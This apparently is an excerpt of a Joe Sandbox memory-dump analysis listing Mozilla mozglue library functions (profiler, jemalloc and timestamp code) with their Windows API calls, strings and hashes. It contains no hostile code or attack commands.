??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C9AF8F9

Part of subcall function 6C976390: GetCurrentThreadId.KERNEL32 ref: 6C9763D0
Part of subcall function 6C976390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9763DF
Part of subcall function 6C976390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C97640E

ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AF93A
GetCurrentThreadId.KERNEL32 ref: 6C9AF98A
GetCurrentThreadId.KERNEL32 ref: 6C9AF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AF716

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

Part of subcall function 6C96B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C96B5E0

GetCurrentThreadId.KERNEL32 ref: 6C9AF739
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AF746
GetCurrentThreadId.KERNEL32 ref: 6C9AF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9E385B,00000002,?,?,?,?,?), ref: 6C9AF829
free.MOZGLUE(?,?,00000000,?), ref: 6C9AF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C9AF866
free.MOZGLUE(?), ref: 6C9AFA0C

Part of subcall function 6C975E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9755E1), ref: 6C975E8C
Part of subcall function 6C975E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C975E9D
Part of subcall function 6C975E60: GetCurrentThreadId.KERNEL32 ref: 6C975EAB
Part of subcall function 6C975E60: GetCurrentThreadId.KERNEL32 ref: 6C975EB8
Part of subcall function 6C975E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C975ECF
Part of subcall function 6C975E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C975F27
Part of subcall function 6C975E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C975F47
Part of subcall function 6C975E60: GetCurrentProcess.KERNEL32 ref: 6C975F53
Part of subcall function 6C975E60: GetCurrentThread.KERNEL32 ref: 6C975F5C
Part of subcall function 6C975E60: GetCurrentProcess.KERNEL32 ref: 6C975F66
Part of subcall function 6C975E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C975F7E

free.MOZGLUE(?), ref: 6C9AF9C5
free.MOZGLUE(?), ref: 6C9AF9DA

Strings

Thread , xrefs: 6C9AF789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C9AF9A6
" attempted to re-register as ", xrefs: 6C9AF858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C9AF71F

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 82370fd8e5faea506a71c310208b6189c4858e29252bf5bea799bd2d42c8e4c6
Instruction ID: 716841f7cea8d822341d2fbb1abd3926652e4b4e4eaed9c9ae4b3decc65c3513
Opcode Fuzzy Hash: 82370fd8e5faea506a71c310208b6189c4858e29252bf5bea799bd2d42c8e4c6
Instruction Fuzzy Hash: D28104716043009FDB11DF64C840BAAB7B5FFE9308F55496DE8499BB51EB30D84ACBA2

Function 6C9AEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AEE60
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEE6D
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9AEEA5
CloseHandle.KERNEL32(?), ref: 6C9AEEB4
free.MOZGLUE(00000000), ref: 6C9AEEBB
GetCurrentThreadId.KERNEL32 ref: 6C9AEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AEECF

Part of subcall function 6C9ADE60: GetCurrentThreadId.KERNEL32 ref: 6C9ADE73
Part of subcall function 6C9ADE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C974A68), ref: 6C9ADE7B
Part of subcall function 6C9ADE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C974A68), ref: 6C9ADEB8
Part of subcall function 6C9ADE60: free.MOZGLUE(00000000,?,6C974A68), ref: 6C9ADEFE
Part of subcall function 6C9ADE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C9ADF38

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9AEF1E
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEF2B
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEF59
GetCurrentThreadId.KERNEL32 ref: 6C9AEFB0
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEFBD
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEFE1
GetCurrentThreadId.KERNEL32 ref: 6C9AEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AF000

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C9AF02F

Part of subcall function 6C9AF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9AF09B
Part of subcall function 6C9AF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C9AF0AC
Part of subcall function 6C9AF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C9AF0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C9AF008
[I %d/%d] profiler_stop, xrefs: 6C9AEED7

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: e0b5e06fa548aa66f4fe7a080d330313e7f5786b9f3c77c218a307b030f63438
Instruction ID: 9b5baf518c6750a9e02c39c71052de8548abc123fbef81af768700f4a1109351
Opcode Fuzzy Hash: e0b5e06fa548aa66f4fe7a080d330313e7f5786b9f3c77c218a307b030f63438
Instruction Fuzzy Hash: 3651C0316083109FDB416BA4E4087A53BB8EFBE21CF34056AE91583F40EB36C815C7E6

Function 6C99D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9EE804), ref: 6C99D047
GetSystemInfo.KERNEL32(?), ref: 6C99D093
__Init_thread_footer.LIBCMT ref: 6C99D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9EE810,00000040), ref: 6C99D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE7B8,00001388), ref: 6C99D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE744,00001388), ref: 6C99D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE784,00001388), ref: 6C99D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE7DC,00001388), ref: 6C99D1B1

Strings

MOZ_CRASH(), xrefs: 6C99D277
Compile-time page size does not divide the runtime one., xrefs: 6C99D26D
<jemalloc>, xrefs: 6C99D268, 6C99D311
: (malloc) Unsupported character in malloc options: ', xrefs: 6C99D322
MALLOC_OPTIONS, xrefs: 6C99D0CB

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: a27895742619cb028cfca6ccb5661c29c44cd89c2acce0ce9484d10a43fd0711
Instruction ID: b03fdd240988c593e7ca7b8a400660fa53ac528a8f5f3d39aaf2389828ef5093
Opcode Fuzzy Hash: a27895742619cb028cfca6ccb5661c29c44cd89c2acce0ce9484d10a43fd0711
Instruction Fuzzy Hash: 2881D272B08240DBEB549F69C984B6937B9FF7E708F280529E90197B80D772D845CBD2

Function 6C975E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C975E9D

Part of subcall function 6C985B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9856EE,?,00000001), ref: 6C985B85
Part of subcall function 6C985B50: EnterCriticalSection.KERNEL32(6C9EF688,?,?,?,6C9856EE,?,00000001), ref: 6C985B90
Part of subcall function 6C985B50: LeaveCriticalSection.KERNEL32(6C9EF688,?,?,?,6C9856EE,?,00000001), ref: 6C985BD8
Part of subcall function 6C985B50: GetTickCount64.KERNEL32 ref: 6C985BE4

GetCurrentThreadId.KERNEL32 ref: 6C975EAB
GetCurrentThreadId.KERNEL32 ref: 6C975EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C975ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C976017

Part of subcall function 6C964310: moz_xmalloc.MOZGLUE(00000010,?,6C9642D2), ref: 6C96436A
Part of subcall function 6C964310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9642D2), ref: 6C964387

moz_xmalloc.MOZGLUE(00000004), ref: 6C975F47
GetCurrentProcess.KERNEL32 ref: 6C975F53
GetCurrentThread.KERNEL32 ref: 6C975F5C
GetCurrentProcess.KERNEL32 ref: 6C975F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C975F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C975F27

Part of subcall function 6C97CA10: mozalloc_abort.MOZGLUE(?), ref: 6C97CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9755E1), ref: 6C975E8C

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9755E1), ref: 6C97605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9755E1), ref: 6C9760CC

Strings

GeckoMain, xrefs: 6C975ECE, 6C976015

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 8960327e0a59053ca19c450abf1c51b2d3b76c8de828bb830a81ed0ed48bede2
Instruction ID: 14251ca59e7385bcc935e5c0133e369f5812919bbaf5ad3b65cf56d2c55593da
Opcode Fuzzy Hash: 8960327e0a59053ca19c450abf1c51b2d3b76c8de828bb830a81ed0ed48bede2
Instruction Fuzzy Hash: 1871F5B0609740DFD750DF25D484A6ABBF0FF6A308F14496EE48687B52D731E948CBA2

Function 6C979590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9631C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C963217
Part of subcall function 6C9631C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C963236
Part of subcall function 6C9631C0: FreeLibrary.KERNEL32 ref: 6C96324B
Part of subcall function 6C9631C0: __Init_thread_footer.LIBCMT ref: 6C963260
Part of subcall function 6C9631C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C96327F
Part of subcall function 6C9631C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C96328E
Part of subcall function 6C9631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9632AB
Part of subcall function 6C9631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9632D1
Part of subcall function 6C9631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9632E5
Part of subcall function 6C9631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9632F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C979675
__Init_thread_footer.LIBCMT ref: 6C979697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9796E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C979707
__Init_thread_footer.LIBCMT ref: 6C97971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C979773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9797B7
FreeLibrary.KERNEL32 ref: 6C9797D0
FreeLibrary.KERNEL32 ref: 6C9797EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C979824

Strings

ntdll.dll, xrefs: 6C9796E3
NtMapViewOfSection, xrefs: 6C979701
MapViewOfFileNuma2, xrefs: 6C9797B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C979670

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 595ac8bd3f61f0982340874a5b2509a80a8579773698ea50d2f95b49a51c7c94
Instruction ID: 2255980e80f02c6529eb37a82f2fe8dcc81a6e115dbf470b60d64625d6b52f61
Opcode Fuzzy Hash: 595ac8bd3f61f0982340874a5b2509a80a8579773698ea50d2f95b49a51c7c94
Instruction Fuzzy Hash: 05610571609305DBDF10CF69E884B9A3BB5FFAEB18F21451AE91583B80D731D844CBA1

Function 6C977FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C978007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C97801D

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C97802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C97803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C97808D

Part of subcall function 6C97CA10: mozalloc_abort.MOZGLUE(?), ref: 6C97CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C97809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9780B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9780DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9780ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9780FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C97810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C978133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C978149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C978167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C97817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C978199

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: d7652ef5e0b983d38e575d6bc149e8cde9c7e52c0f2b93d5dc3daa544d2c15a5
Instruction ID: 3f8d096ea9da36fee25b497ea759c1ef8f970cf849d7a8d3b2d2d6107c961841
Opcode Fuzzy Hash: d7652ef5e0b983d38e575d6bc149e8cde9c7e52c0f2b93d5dc3daa544d2c15a5
Instruction Fuzzy Hash: 2C5193B2E01204ABDF10DBA5DC849EFB7B9AF69224F240525E815F7741E730E904CBB5

Function 6C9C6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C9EF618), ref: 6C9C6694
GetThreadId.KERNEL32(?), ref: 6C9C66B1
GetCurrentThreadId.KERNEL32 ref: 6C9C66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9C66E1
EnterCriticalSection.KERNEL32(6C9EF618), ref: 6C9C6734
GetCurrentProcess.KERNEL32 ref: 6C9C673A
LeaveCriticalSection.KERNEL32(6C9EF618), ref: 6C9C676C
GetCurrentThread.KERNEL32 ref: 6C9C67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C9C6868
RtlCaptureContext.NTDLL ref: 6C9C687F

Strings

WalkStack64, xrefs: 6C9C6890

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 13d0fe0773d5af7dcad45940b900da003e499c42668cb37f964e292d64b003e9
Instruction ID: 9f7277f9b6d2efab59e9e0cb485affda18df69dc592b538b5569a5db08b6fcd5
Opcode Fuzzy Hash: 13d0fe0773d5af7dcad45940b900da003e499c42668cb37f964e292d64b003e9
Instruction Fuzzy Hash: 88518A71A09341AFDB11CF24C884A6ABBF8BF9DB14F10492DF99997640D770E918CB93

Function 6C9ADE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9ADE73
GetCurrentThreadId.KERNEL32 ref: 6C9ADF7D
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9ADF8A
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9ADFC9
GetCurrentThreadId.KERNEL32 ref: 6C9ADFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C974A68), ref: 6C9ADE7B

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C974A68), ref: 6C9ADEB8
free.MOZGLUE(00000000,?,6C974A68), ref: 6C9ADEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C9ADF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C9ADE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C9AE00E
<none>, xrefs: 6C9ADFD7

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 93237df78516550db2a5654f682119f1889c8aee35ca0d655dd967e0bbcd39bd
Instruction ID: b2e432233aa7ff7654ecfa02c4ded3722ea480bd4f3e2549dcfa46f29682cee3
Opcode Fuzzy Hash: 93237df78516550db2a5654f682119f1889c8aee35ca0d655dd967e0bbcd39bd
Instruction Fuzzy Hash: 9341D5767052119BDB109BA4E8087AA7779FFBD30CF24001AED0997B41DB32D916CBE6

Function 6C9BD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9BD4F0
